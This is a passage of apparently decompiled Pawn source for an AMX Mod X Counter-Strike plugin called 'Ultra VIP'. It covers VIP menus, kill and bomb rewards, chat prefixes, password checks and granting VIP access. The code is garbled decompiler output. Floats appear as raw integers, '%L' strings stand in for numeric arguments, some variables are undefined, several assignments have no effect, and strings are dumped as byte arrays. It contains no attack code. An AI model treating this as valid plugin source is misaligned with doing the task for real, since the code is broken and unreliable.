ExecuteForward(Forwardi[2], Odziv, id);
}
new var4;
if (InformacijeIgraca[id][6] >= Cvar[29][1] && Cvar[28][1] && 1 << id & 31 & OznakeIgraca[0])
{
static Razlog[64];
formatex(Razlog, 63, "Provero %d od %d sati na serveru", InformacijeIgraca[id][6], Cvar[29][1]);
DajVipa(id, 0, 0, 63828, Razlog);
}
ColorChat(id, Color:2, "[Ultra VIP] \x01%L Ultra VIP by Milutinke [v%s]", id, "ML_KORISTI", "1.3");
return 1;
}
DajBombe(id)
{
if (FlagoviCvara & 64)
{
give_item(id, "weapon_hegrenade");
}
if (FlagoviCvara & 8)
{
give_item(id, "weapon_smokegrenade");
}
if (FlagoviCvara & 33554432)
{
give_item(id, "weapon_flashbang");
}
if (FlagoviCvara & 32)
{
give_item(id, "weapon_flashbang");
}
return 0;
}
public VipMeni(id)
{
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
if (!var1)
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NISI_VIP");
return 0;
}
static Naslov[20];
static Stavka[64];
formatex(Naslov, 19, "%L:", id, "ML_NASLOV_VIP_MENIJA");
new Meni = menu_create(Naslov, "FunkcijaVipMenija", "%L");
new i;
while (i < 2)
{
formatex(Stavka, 63, "\y%L", id, SadrzajVipMenija[i]);
menu_additem(Meni, Stavka, 64996, "%L", -1);
i++;
}
menu_display(id, Meni, "%L");
return 0;
}
public FunkcijaVipMenija(id, Meni, Stavka)
{
if (Stavka == -3)
{
menu_destroy(Meni);
return 0;
}
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
if (!var1)
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NISI_VIP");
return 0;
}
if (!bym_igrac_je(id, 0))
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NISI_ZIV");
return 0;
}
switch (Stavka)
{
case 0:
{
KupiPomagala(id);
}
case 1:
{
IzaberiNoz(id);
}
default:
{
}
}
return 0;
}
public NanesiStetu(Zrtva, Ugrozavac, Napadac, Float:Steta, VrstaStete)
{
new var1;
if (!bym_igrac_je(Zrtva, 1) || !bym_igrac_je(Zrtva, 0) || !bym_igrac_je(Napadac, 1) || !bym_igrac_je(Napadac, 0) || bym_igrac_je(Napadac, 2) || get_user_team(Napadac, {0}, "%L") != get_user_team(Zrtva, {0}, "%L"))
{
return 1;
}
new var2;
if (1 << Napadac & 31 & OznakeIgraca[0])
{
var2 = 1;
}
else
{
var2 = 0;
}
if (var2)
{
Steta = floatadd(Steta, float(Cvar[16][1]));
}
if (0 < InformacijeIgraca[Zrtva][0])
{
InformacijeIgraca[Zrtva]--;
return 4;
}
new var3;
if (1 << Zrtva & 31 & OznakeIgraca[0])
{
var3 = 1;
}
else
{
var3 = 0;
}
if (var3)
{
if (get_user_weapon(Napadac, 0, 0) == 29)
{
return 4;
}
}
SetHamParamFloat(4, Steta);
return 1;
}
public Smrt()
{
new Napadac = read_data(1);
new Zrtva = read_data(2);
new Hs = read_data(3);
new var1;
if (!bym_igrac_je(Napadac, 0) || !bym_igrac_je(Napadac, 1) || !bym_igrac_je(Zrtva, 1) || bym_igrac_je(Napadac, 2) || bym_igrac_je(Zrtva, 0))
{
return 0;
}
new var2;
if (1 << Napadac & 31 & OznakeIgraca[0])
{
var2 = 1;
}
else
{
var2 = 0;
}
if (var2)
{
ExecuteForward(Forwardi[3], Odziv, Napadac);
new var3;
if (Hs)
{
var3 = 3;
}
else
{
var3 = 4;
}
entity_set_float(Napadac, 13, floatadd(entity_get_float(Napadac, 13), float(Cvar[var3][1])));
new var4;
if (Hs)
{
var4 = 5;
}
else
{
var4 = 6;
}
entity_set_float(Napadac, 19, floatadd(entity_get_float(Napadac, 19), float(Cvar[var4][1])));
new var5;
if (Hs)
{
var5 = 7;
}
else
{
var5 = 7;
}
cs_set_user_money(Napadac, Cvar[var5][1][cs_get_user_money(Napadac)], 1);
new var6;
if (Hs)
{
var6 = 10;
}
else
{
var6 = 11;
}
set_user_frags(Napadac, Cvar[var6][1][get_user_frags(Napadac)]);
ObojiEkran(Napadac, 4096, 4096, 4096, 0, 200, 250, 70);
new var7;
if (Hs)
{
var7 = 10;
}
else
{
var7 = 11;
}
new var8;
if (Hs)
{
var8 = 7;
}
else
{
var8 = 7;
}
new var9;
if (Hs)
{
var9 = 5;
}
else
{
var9 = 6;
}
new var10;
if (Hs)
{
var10 = 3;
}
else
{
var10 = 4;
}
ColorChat(Napadac, Color:2, "[Ultra VIP] \x01%L \x04%s", Napadac, "ML_DOBIO_SI_ZA_UBISTVO", Cvar[var10][1], Cvar[var9][1], Cvar[var8][1], Cvar[var7][1], InformacijeIgraca[Zrtva][39]);
}
else
{
new var11;
if (1 << Zrtva & 31 & OznakeIgraca[0])
{
var11 = 1;
}
else
{
var11 = 0;
}
if (var11)
{
ObojiEkran(Zrtva, 4096, 4096, 4096, 255, 0, 0, 70);
ExecuteForward(Forwardi[4], Odziv, Zrtva);
}
}
return 0;
}
public bomb_defused(id)
{
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
new var2;
if (!var1 || !bym_igrac_je(id, 0) || !bym_igrac_je(id, 1))
{
return 0;
}
cs_set_user_money(id, Cvar[9][1] + cs_get_user_money(id), 1);
ColorChat(id, Color:2, "[Ultra VIP] \n%L", id, "ML_DOBIO_ZA_C4_DEF", Cvar[9][1]);
ObojiEkran(id, 4096, 4096, 4096, 0, 200, 250, 70);
ExecuteForward(Forwardi[6], Odziv, id);
return 0;
}
public bomb_planted(id)
{
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
new var2;
if (!var1 || !bym_igrac_je(id, 0) || !bym_igrac_je(id, 1))
{
return 0;
}
cs_set_user_money(id, Cvar[9][1] + cs_get_user_money(id), 1);
ColorChat(id, Color:2, "[Ultra VIP] \n%L", id, "ML_DOBIO_ZA_C4_PLANT", Cvar[9][1]);
ObojiEkran(id, 4096, 4096, 4096, 0, 200, 250, 70);
ExecuteForward(Forwardi[5], Odziv, id);
return 0;
}
public SkorOznaka(IdPoruke, Odrediste, Primalac)
{
new Igrac = get_msg_arg_int(1);
new var1;
if (1 << Igrac & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
new var2;
if (var1 && Cvar[19][1] && !bym_igrac_je(Igrac, 2))
{
new var3;
if (is_user_alive(Igrac))
{
var3 = 4;
}
else
{
var3 = 1;
}
set_msg_arg_int(2, 1, var3);
}
return 0;
}
public ChatPrefiks(id)
{
static Reko[192];
read_args(Reko, 191);
remove_quotes(Reko);
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
if (var1)
{
static i;
static Poruka[256];
formatex(Poruka, 255, "\x01%s %s\x03 %s \x01: %s", InfoChata[bym_igrac_je(id, 0)][cs_get_user_team(id, 0)], Prefiks1, InformacijeIgraca[id][39], Reko);
i = 1;
while (Globalne[0] >= i)
{
if (bym_igrac_je(i, 1))
{
new var2;
if ((bym_igrac_je(id, 0) && bym_igrac_je(i, 0)) || (!bym_igrac_je(id, 0) && !bym_igrac_je(i, 0)))
{
IspisiPoruku(Poruka, id, i);
}
}
i += 1;
}
return 2;
}
return 0;
}
IspisiPoruku(Poruka[], id, i)
{
message_begin(1, PorukaChat, 67548, i);
write_byte(id);
write_string(Poruka);
message_end();
return 0;
}
public client_PreThink(id)
{
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
new var2;
if (var1 && Cvar[13][1] && bym_igrac_je(id, 0) && bym_igrac_je(id, 1))
{
entity_set_float(id, 34, "%L");
if (entity_get_int(id, 34) & 2)
{
new Oznake = entity_get_int(id, 27);
new var3;
if (Oznake & 2048 || entity_get_int(id, 24) >= 2 || !Oznake & 512)
{
return 0;
}
static Float:Brzina[3];
entity_get_vector(id, 2, Brzina);
new var5 = Brzina[2];
var5 = floatadd(1132068864, var5);
entity_set_vector(id, 2, Brzina);
entity_set_int(id, 21, 6);
}
new var4;
if (entity_get_float(id, 32) >= 1135542272 && Cvar[23][1])
{
new var6 = OznakeIgraca[1];
var6 = 1 << id & 31 | var6;
}
new var7 = OznakeIgraca[1];
var7 = ~1 << id & 31 & var7;
}
return 0;
}
public client_PostThink(id)
{
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
new var2;
if (var1 && Cvar[13][1] && bym_igrac_je(id, 0) && bym_igrac_je(id, 1))
{
new var3;
if (1 << id & 31 & OznakeIgraca[1])
{
var3 = 1;
}
else
{
var3 = 0;
}
new var4;
if (var3 && Cvar[23][1])
{
entity_set_int(id, 25, -3);
}
}
return 0;
}
public IgracJeSkocio(id)
{
new var1;
if (!bym_igrac_je(id, 0) || !bym_igrac_je(id, 1) || bym_igrac_je(id, 2))
{
return 1;
}
new Oznake = entity_get_int(id, 27);
new var2;
if (Oznake & 2048 || entity_get_int(id, 24) >= 2 || !get_pdata_int(id, 246, 5, 5) & 2)
{
return 1;
}
if (Oznake & 512)
{
InformacijeIgraca[id][2] = 0;
return 1;
}
new var3;
if (1 << id & 31 & OznakeIgraca[0])
{
var3 = 1;
}
else
{
var3 = 0;
}
new var4;
if (var3 && var5 < Cvar[20][1])
{
static Float:Brzina[3];
entity_get_vector(id, 2, Brzina);
Brzina[2] = random_float(1132756992, 1133412352);
entity_set_vector(id, 2, Brzina);
return 2;
}
return 1;
}
public client_putinserver(id)
{
bym_igrac_je_usao(id);
new var1;
if (bym_igrac_je(id, 2) || !1 <= id <= Globalne[0])
{
return 0;
}
InformacijeIgraca[id][0] = 0;
InformacijeIgraca[id][2] = 0;
InformacijeIgraca[id][1] = 0;
InformacijeIgraca[id][3] = 0;
InformacijeIgraca[id][4] = 0;
InformacijeIgraca[id][5] = 0;
InformacijeIgraca[id][6] = 0;
new var3 = OznakeIgraca;
var3[0] = ~1 << id & 31 & var3[0];
new var4 = OznakeIgraca[1];
var4 = ~1 << id & 31 & var4;
get_user_authid(id, InformacijeIgraca[id][7], 31);
get_user_name(id, InformacijeIgraca[id][39], 31);
get_user_ip(id, InformacijeIgraca[id][71], 19, 1);
if (!NocnoVreme())
{
PotvrdiPristup(id);
}
else
{
new var5 = OznakeIgraca;
var5[0] = 1 << id & 31 | var5[0];
set_user_flags(id, 524288, "%L");
new var2;
if (1 << id & 31 & OznakeIgraca[0])
{
var2 = 1;
}
else
{
var2 = 0;
}
if (var2)
{
ExecuteForward(Forwardi[0], Odziv, id);
}
}
set_task(1084227584, "VipUsaoNaServer", id, 61940, "%L", 61944, "%L");
set_task(1084227584, "ReklamaAutor", id, 61940, "%L", 61944, "%L");
set_task(1065353216, "UcitajVreme", id, 61940, "%L", 61944, "%L");
set_task(get_pcvar_float(Cvar[26]), "Reklama", id, 61940, "%L", 67780, "%L");
return 0;
}
public client_disconnect(id)
{
SacuvajVreme(id);
InformacijeIgraca[id][0] = 0;
InformacijeIgraca[id][2] = 0;
InformacijeIgraca[id][1] = 0;
InformacijeIgraca[id][3] = 0;
InformacijeIgraca[id][4] = 0;
InformacijeIgraca[id][5] = 0;
InformacijeIgraca[id][6] = 0;
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
if (var1)
{
ExecuteForward(Forwardi[1], Odziv, id);
}
new var2 = OznakeIgraca;
var2[0] = ~1 << id & 31 & var2[0];
new var3 = OznakeIgraca[1];
var3 = ~1 << id & 31 & var3;
return 0;
}
public ReklamaAutor(id)
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L Ultra VIP by Milutinke [v%s]", id, "ML_KORISTI", "1.3");
ColorChat(id, Color:2, "[Ultra VIP] \x01%L, say /vip", id, "ML_DA_VIDI_MOGUCNOSTI");
return 0;
}
public Reklama(id)
{
switch (random_num(1, 7))
{
case 1:
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L, say /vips", id, "ML_DA_VIDIS_ONLINE_VIPOVE");
}
case 2:
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L, say /vm", id, "ML_DA_OTVORIS_VIP_MENI");
}
case 3:
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L, say /vipknife", id, "ML_DA_PROMENIS_NOZ");
}
case 4:
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L, say /vipitems", id, "ML_DA_KUPIS_ITEME");
}
case 5:
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L, say /vip", id, "ML_DA_VIDI_MOGUCNOSTI");
}
case 6:
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L say /timeforvip", id, "ML_DA_VIDIS_VREME");
}
case 7:
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L say /viplotto", id, "ML_LOTTO_REKLAMA", Cvar[31][1]);
}
default:
{
}
}
return 0;
}
public VipUsaoNaServer(id)
{
new var2;
if (!Cvar[21][1] || 1 << id & 31 & OznakeIgraca[0] || !bym_igrac_je(id, 1) || bym_igrac_je(id, 2))
{
return 0;
}
static Boja[3];
RastaviCvarZaBoju(Cvar[22], Boja, 69608 + 4, 69608 + 8);
new i = 1;
while (Globalne[0] >= i)
{
new var3;
if (bym_igrac_je(i, 1) && !bym_igrac_je(i, 2))
{
set_dhudmessage(Boja[0], Boja[1], Boja[2], -1.0, random_float(1060320051, 1062836634), 0, 0.0, 4.0, 0.1, 1.5, false);
show_dhudmessage(i, "%L", -1, "ML_VIP_USAO_NA_SRW", InformacijeIgraca[id][39]);
ColorChat(i, Color:2, "[Ultra Vip] \x01%L", -1, "ML_VIP_USAO_NA_SRW", InformacijeIgraca[id][39]);
}
i++;
}
set_user_flags(id, 524288, "%L");
new var4;
if (1 << id & 31 & OznakeIgraca[0])
{
var4 = 1;
}
else
{
var4 = 0;
}
if (var4)
{
ExecuteForward(Forwardi[0], Odziv, id);
}
return 0;
}
public KomandaOsveziListuvipova(id, Pristup, Cid)
{
if (!cmd_access(id, 0, Cid, 1, false))
{
return 1;
}
if (!get_user_flags(id, "%L") & 8)
{
return 1;
}
Osvezi();
return 1;
}
public Osvezi()
{
TrieDestroy(Niz);
TrieDestroy(52016 + 4);
UcitajVipove();
new i;
while (Globalne[0] >= i)
{
PotvrdiPristup(i);
i++;
}
server_cmd("exec %s", Datoteke[2]);
server_exec();
server_print("%L", -1, "ML_LISTA_VIPOVA_OSVEZENA_USPESNO");
return 0;
}
public PocetakRunde()
{
Osvezi();
return 0;
}
public KomandaListaVipIgrac(id, Pristup, Cid)
{
if (!cmd_access(id, 0, Cid, 1, false))
{
return 1;
}
if (!get_user_flags(id, "%L") & 8)
{
return 1;
}
console_print(id, "\n*** --== Lista VIP-ova ==-- ***\n ");
console_print(id, "ID - Steam/Ime/Ip - Lozinka\n ");
new Datoteka = fopen(Datoteke[1], "rt");
static Ajdi;
while (Datoteka && !feof(Datoteka))
{
static PodaciZaPristup[2][32];
static Podaci[128];
fgets(Datoteka, Podaci, 127);
new var3;
if (!(!Podaci[0] || Podaci[0] == 59 || (Podaci[0] == 47 && Podaci[1] == 47)))
{
new var5 = PodaciZaPristup;
if (!(2 > parse(Podaci, var5[0][var5], 31, PodaciZaPristup[1], 31)))
{
new var6 = PodaciZaPristup;
if (var6[0][var6])
{
Ajdi += 1;
}
new var4;
if (PodaciZaPristup[1])
{
var4 = PodaciZaPristup[1];
}
else
{
var4 = 71276;
}
new var7 = PodaciZaPristup;
console_print(id, "ID: %d | Steam/Nick/Ip: %s | Password/Lozinka: %s", Ajdi, var7[0][var7], var4);
}
}
}
if (Datoteka)
{
fclose(Datoteka);
}
console_print(id, "\n*** --== Lista VIP-ova ==-- ***\n ");
return 1;
}
public KomandaDajVipa(id, Pristup, Cid)
{
if (!cmd_access(id, 0, Cid, 3, false))
{
return 1;
}
if (!get_user_flags(id, "%L") & 8)
{
return 1;
}
static LozinkaIgraca[16];
static Razlog[32];
static Pajser[32];
read_argv(1, Pajser, 31);
read_argv(2, LozinkaIgraca, 15);
read_argv(3, Razlog, 31);
new Igrac = cmd_target(id, Pajser, 0);
new var1;
if (1 << Igrac & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
if (var1)
{
console_print(id, "%L", id, "ML_KONZOLA_IGRAC_JE_VEC_VIP");
return 1;
}
if (bym_igrac_je(Igrac, 2))
{
console_print(id, "%L", id, "ML_KONZOLA_IGRAC_JE_BOT");
return 1;
}
if (!bym_igrac_je(Igrac, 1))
{
console_print(id, "%L", id, "ML_KONZOLA_IGRAC_NIJE_POVEZAN");
return 1;
}
new var2;
if (Razlog[0])
{
var2[0] = 71584;
}
else
{
var2[0] = 72144;
}
new var3;
if (LozinkaIgraca[0])
{
var3[0] = 71712;
}
else
{
var3[0] = 72140;
}
DajVipa(Igrac, id, 0, var3, var2);
Osvezi();
return 1;
}
public DajVipa(Igrac, Dodavac, Nasta, LozinkaIgraca[], Razlog[])
{
new var1;
if (1 << Igrac & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
new var2;
if (var1 || bym_igrac_je(Igrac, 2) || !bym_igrac_je(Igrac, 1))
{
return 0;
}
static NaStaSeDodaje[32];
static Vreme[20];
static Linija[3][256];
static ImeIgr[2][32];
new var10 = ImeIgr;
get_user_name(Igrac, var10[0][var10], 31);
get_time("%H:%M:%S %d.%m.%y", Vreme, 19);
if (!Dodavac)
{
formatex(ImeIgr[1], 31, "Ultra Vip Plugin");
}
else
{
formatex(ImeIgr[1], 31, "%s", InformacijeIgraca[Dodavac][39]);
}
switch (Nasta)
{
case 0:
{
formatex(NaStaSeDodaje, 31, "%s", InformacijeIgraca[Igrac][7]);
}
case 1:
{
formatex(NaStaSeDodaje, 31, "%s", InformacijeIgraca[Igrac][39]);
}
case 2:
{
formatex(NaStaSeDodaje, 31, "%s", InformacijeIgraca[Igrac][71]);
}
default:
{
}
}
new var11 = Linija;
formatex(var11[0][var11], 255, 75956);
new var3;
if (LozinkaIgraca[0])
{
var3 = LozinkaIgraca;
}
else
{
var3 = 76004;
}
formatex(Linija[1], 255, "\"%s\" \"%s\"", NaStaSeDodaje, var3);
new var12 = ImeIgr;
new var4;
if (Razlog[0])
{
var4 = Razlog;
}
else
{
var4 = 76256;
}
formatex(Linija[2], 255, ";Razlog: %s | Dodao: %s | Vreme i datum: %s | Nick igraca: %s", var4, var12[0][var12], Vreme, ImeIgr[1]);
new i;
while (i < 3)
{
write_file(Datoteke[1], Linija[i], -1);
i++;
}
new id = 1;
while (Globalne[0] >= id)
{
new var5;
if (bym_igrac_je(id, 1) && !bym_igrac_je(id, 2))
{
new var6;
if (Razlog[0])
{
var6 = Razlog;
}
else
{
var6 = 76472;
}
new var13 = ImeIgr;
ColorChat(id, Color:2, "[Ultra VIP] \x01%L.", id, "ML_IGRAC_DOBIO_VIPA", ImeIgr[1], var13[0][var13], var6);
}
id++;
}
new var7;
if (bym_igrac_je(Igrac, 1) && !bym_igrac_je(Igrac, 2))
{
set_dhudmessage(0, 255, 255, -1.0, 0.75, 0, 6.0, 15.0, 0.1, 1.5, false);
new var8;
if (LozinkaIgraca[0])
{
var8 = LozinkaIgraca;
}
else
{
var8 = 76744;
}
show_dhudmessage(Igrac, "%L\n%L\n%L", Igrac, "ML_HUD_DOBIO_SI_VIPA", ImeIgr[1], Igrac, "ML_RAZLOG", Razlog, Igrac, "ML_LOZINKA", var8);
}
new var9;
if (bym_igrac_je(Igrac, 1) && LozinkaIgraca[0])
{
set_user_info(Igrac, PoljeZaPrijavu, LozinkaIgraca);
client_cmd(Igrac, "setinfo \"%s\" \"%s\"", PoljeZaPrijavu, LozinkaIgraca);
}
return 0;
}
public PotvrdiPristup(id)
{
if (!1 <= id <= Globalne[0])
{
return 0;
}
static LozinkaIgraca[2][20];
new var1 = LozinkaIgraca;
get_user_info(id, PoljeZaPrijavu, var1[0][var1], 19);
if (TrieKeyExists(Niz[0], InformacijeIgraca[id][7]))
{
TrieGetString(Niz[1], InformacijeIgraca[id][7], LozinkaIgraca[1], 19);
new var2 = LozinkaIgraca;
ProveriLozinku(id, var2[0][var2], LozinkaIgraca[1]);
}
else
{
if (TrieKeyExists(Niz[0], InformacijeIgraca[id][39]))
{
TrieGetString(Niz[1], InformacijeIgraca[id][39], LozinkaIgraca[1], 19);
new var3 = LozinkaIgraca;
ProveriLozinku(id, var3[0][var3], LozinkaIgraca[1]);
}
if (TrieKeyExists(Niz[0], InformacijeIgraca[id][71]))
{
TrieGetString(Niz[1], InformacijeIgraca[id][71], LozinkaIgraca[1], 19);
new var4 = LozinkaIgraca;
ProveriLozinku(id, var4[0][var4], LozinkaIgraca[1]);
}
}
return 0;
}
public ProveriLozinku(id, Lozinka1[], Lozinka2[])
{
if (!Lozinka2[0])
{
new var1 = OznakeIgraca;
var1[0] = 1 << id & 31 | var1[0];
}
else
{
if (!equal(Lozinka1, Lozinka2, "%L"))
{
server_cmd("kick #%d \"Invalid Password - Pogresna Lozinka!\" ", get_user_userid(id));
}
new var2 = OznakeIgraca;
var2[0] = 1 << id & 31 | var2[0];
}
return 0;
}
public KupiPomagala(id)
{
if (!BrojDodatihPomagala)
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NEMA_DODATIH_POMAGALA");
return 0;
}
if (!bym_igrac_je(id, 0))
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NISI_ZIV");
return 0;
}
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
if (!var1)
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NISI_VIP");
return 0;
}
static Naslov[20];
formatex(Naslov, 19, "\y%L:", id, "ML_NASLOV_POMAGALA");
new Meni = menu_create(Naslov, "KupiPomagalaFunkcija", "%L");
new Broj[3];
new Sadrzaj[64];
new i;
while (i < BrojDodatihPomagala)
{
ArrayGetArray(NizPomagala, i, Pomagala);
formatex(Sadrzaj, 63, "\w%s \y(%L: \r$%d\y)", Pomagala, id, "ML_CENA", 52552 + 256);
num_to_str(i, Broj, 2);
menu_additem(Meni, Sadrzaj, Broj, "%L", -1);
i++;
}
menu_display(id, Meni, "%L");
return 0;
}
public KupiPomagalaFunkcija(id, Meni, Stavka)
{
if (Stavka == -3)
{
menu_destroy(Meni);
return 0;
}
if (!bym_igrac_je(id, 0))
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NISI_ZIV");
return 0;
}
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
if (!var1)
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NISI_VIP");
return 0;
}
new PristupMeniju;
new Broj[3];
new Odziv;
menu_item_getinfo(Meni, Stavka, PristupMeniju, Broj, 2, {0}, "%L", Odziv);
menu_destroy(Meni);
new IdPomagala = str_to_num(Broj);
KupiPomagalo(id, IdPomagala, 0);
return 0;
}
public KupiPomagalo(id, IdPomagala, Besplatno)
{
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
new var2;
if (!var1 || bym_igrac_je(id, 2) || !bym_igrac_je(id, 1) || !bym_igrac_je(id, 0))
{
return 0;
}
ArrayGetArray(NizPomagala, IdPomagala, Pomagala);
new PovratnaReakcija;
if (!Besplatno)
{
if (Pomagala[64] > cs_get_user_money(id))
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NEMAS_DOVOLJNO_PARA");
return 0;
}
cs_set_user_money(id, cs_get_user_money(id) - Pomagala[64], 1);
}
ExecuteForward(Forward, PovratnaReakcija, id, IdPomagala);
return 0;
}
public Napad1(Objekat)
{
new id = pev(Objekat, 18);
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
if (var1)
{
pev(id, 140, UgaoGuranja[id]);
return 1;
}
return 1;
}
public Napad2(Objekat)
{
new id = pev(Objekat, 18);
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
if (var1)
{
new Float:Guraj[3] = 0.0;
pev(id, 140, Guraj);
xs_vec_sub(Guraj, UgaoGuranja[id], Guraj);
xs_vec_mul_scalar(Guraj, 0.0, Guraj);
xs_vec_add(Guraj, UgaoGuranja[id], Guraj);
set_pev(id, 140, Guraj);
return 1;
}
return 1;
}
public OnlineVipovi(id)
{
new ImenaVipova[33][32] = {
{
4, 37, 76, 32, 58, 32, 0, 77, 76, 95, 79, 78, 76, 73, 78, 69, 95, 86, 73, 80, 79, 86, 73, 0, 37, 115, 37, 115, 32, 0, 44, 32
},
{
0, 0, 37, 115, 0, 4, 32, 0, 37, 115, 0, 37, 76, 0, 77, 76, 95, 78, 69, 77, 65, 95, 86, 73, 80, 79, 86, 65, 95, 79, 78, 76
},
{
73, 78, 69, 0, 37, 115, 0, 91, 85, 108, 116, 114, 97, 32, 86, 105, 112, 93, 32, 1, 37, 76, 0, 77, 76, 95, 79, 80, 67, 73, 74, 65
},
{
95, 79, 78, 69, 77, 79, 71, 85, 67, 69, 78, 65, 95, 90, 65, 95, 86, 73, 80, 79, 86, 69, 0, 91, 85, 108, 116, 114, 97, 32, 86, 73
},
{
80, 93, 32, 1, 37, 76, 0, 77, 76, 95, 78, 69, 77, 65, 95, 78, 79, 90, 69, 86, 65, 0, 91, 85, 108, 116, 114, 97, 32, 86, 73, 80
},
{
93, 32, 1, 37, 76, 0, 77, 76, 95, 78, 73, 83, 73, 95, 86, 73, 80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
},
{
0, 0, 0, 0, 0, 0, 92, 121, 37, 76, 58, 0, 77, 76, 95, 78, 65, 83, 76, 79, 86, 95, 78, 79, 90, 69, 86, 73, 0, 73, 122, 97
},
{
98, 101, 114, 105, 78, 111, 122, 70, 117, 110, 107, 99, 105, 106, 97, 0, 92, 121, 37, 115, 0, 91, 85, 108, 116, 114, 97, 32, 86, 105, 112, 93
},
{
32, 1, 37, 76, 0, 77, 76, 95, 79, 80, 67, 73, 74, 65, 95, 79, 78, 69, 77, 79, 71, 85, 67, 69, 78, 65, 95, 90, 65, 95, 86, 73
},
{
80, 79, 86, 69, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 117, 116, 114
},
{
97, 95, 118, 105, 112, 95, 98, 121, 109, 0, 100, 97, 95, 108, 105, 95, 106, 101, 95, 118, 105, 112, 0, 78, 97, 116, 105, 118, 101, 68, 97, 76
},
{
105, 74, 101, 86, 105, 112, 0, 100, 97, 106, 95, 118, 105, 112, 97, 0, 78, 97, 116, 105, 118, 101, 68, 97, 106, 86, 105, 112, 97, 0, 118, 105
},
{
112, 95, 114, 101, 103, 105, 115, 116, 114, 117, 106, 95, 112, 111, 109, 97, 103, 97, 108, 111, 0, 78, 97, 116, 105, 118, 101, 82, 101, 103, 105, 115
},
{
116, 114, 117, 106, 80, 111, 109, 97, 103, 97, 108, 111, 0, 111, 116, 118, 111, 114, 105, 95, 118, 105, 112, 95, 109, 101, 110, 105, 0, 78, 97, 116
},
{
105, 118, 101, 79, 116, 118, 111, 114, 105, 80, 114, 111, 100, 97, 118, 110, 105, 99, 117, 0, 111, 116, 118, 111, 114, 105, 95, 112, 114, 111, 100, 97
},
{
118, 110, 105, 99, 117, 0, 78, 97, 116, 105, 118, 101, 79, 116, 118, 111, 114, 105, 86, 105, 112, 77, 101, 110, 105, 0, 118, 105, 112, 95, 107, 117
},
{
112, 105, 95, 112, 111, 109, 97, 103, 97, 108, 111, 0, 78, 97, 116, 105, 118, 101, 75, 117, 112, 105, 80, 111, 109, 97, 103, 97, 108, 111, 0, 118
},
{
105, 112, 95, 105, 100, 95, 112, 111, 109, 97, 103, 97, 108, 97, 0, 78, 97, 116, 105, 118, 101, 73, 100, 80, 111, 109, 97, 103, 97, 108, 97, 0
},
{
118, 105, 112, 95, 114, 101, 103, 105, 115, 116, 114, 117, 106, 95, 110, 111, 122, 0, 78, 97, 116, 105, 118, 101, 82, 101, 103, 105, 115, 116, 114, 117
},
{
106, 78, 111, 122, 0, 118, 105, 112, 95, 100, 97, 106, 95, 110, 111, 122, 0, 78, 97, 116, 105, 118, 101, 68, 97, 106, 78, 111, 122, 0, 118, 105
},
{
112, 95, 105, 100, 95, 110, 111, 122, 97, 0, 78, 97, 116, 105, 118, 101, 73, 100, 78, 111, 122, 97, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
},
{
0, ...
},
{
0, ...
},
{
0, ...
},
{
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 79, 98, 105, 99, 97, 110, 32, 78, 111
},
{
122, 32, 40, 68, 101, 102, 97, 117, 108, 116, 32, 75, 110, 105, 102, 101, 41, 0, 109, 111, 100, 101, 108, 115, 47, 118, 95, 107, 110, 105, 102, 101
},
{
46, 109, 100, 108, 0, 109, 111, 100, 101, 108, 115, 47, 118, 95, 107, 110, 105, 102, 101, 46, 109, 100, 108, 0, 91, 85, 108, 116, 114, 97, 32, 86
},
{
105, 112, 93, 32, 1, 76, 111, 97, 100, 105, 110, 103, 32, 124, 32, 85, 99, 105, 116, 97, 118, 97, 109, 46, 46, 46, 0, 104, 116, 116, 112, 58
},
{
